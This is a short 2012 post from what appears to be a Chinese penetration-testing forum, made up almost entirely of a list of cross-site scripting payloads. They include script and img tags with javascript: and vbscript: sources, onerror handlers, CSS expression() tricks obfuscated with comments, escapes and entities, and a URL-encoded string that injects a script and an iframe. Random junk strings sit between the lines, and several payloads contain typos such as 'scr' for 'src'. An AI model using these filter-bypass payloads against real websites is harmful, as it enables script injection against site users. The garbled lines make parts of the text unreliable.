中国网络渗透测试联盟
标题:
xss
[打印本页]
作者:
admin
时间:
2012-9-15 14:09
标题:
xss
<script>alert("跨站")</script> (最常用）
`* \: c) m4 t4 L! _3 b
<img scr=javascript:alert("跨站")></img>
, v. Q: B; f$ B2 @+ u2 s& j1 s6 s! W. t
<img scr="javascript: alert(/跨站/)></img>
7 o6 r1 T0 W6 o: Q% h, W
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）
% j0 g% D) {, y/ d; i
<img scr="#" onerror=alert(/跨站/)></img>
" S- B: S p4 }. }, u2 s
<img scr="#" style="xss:expression(alert(/xss/));"></img>
a p" w0 e$ W: w
<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）
8 f& j$ ?% g4 j. }: H! A1 G. S8 s
<img src=vbscript:msgbox ("xss")></img>
. [9 p' w- V S6 N0 { w' S% d6 N
<style> input {left:expression (alert('xss'))}</style>
" G/ s9 x2 t- z; i( |
<div style={left:expression (alert('xss'))}></div>
7 g+ U; C" A! Q: `0 P. T' b* k* G$ q
<div style={left:exp/* */ression (alert('xss'))}></div>
( y; x, M. h: A$ X2 l4 M
<div style={left:\0065\0078ression (alert('xss'))}></div>
% |4 G' h8 m4 W) M) q
html 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>
9 q# _& A- y C. j: m) m# E
unicode <div style="{left:expRessioN (alert('xss'))}">
. O' q% R8 _! O) Z9 B6 A+ y3 ?; ^
% M+ _3 o& K7 t0 j
"]}%3Cscript%3Ealert('我又来啦！.')%3C/script%3E{[&item="]<iframe%20src=WWW.BAIDU.COM%20width=400%20height=600></iframe>["
& t% I& ~" `. V5 k H0 s0 Z5 ], H
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2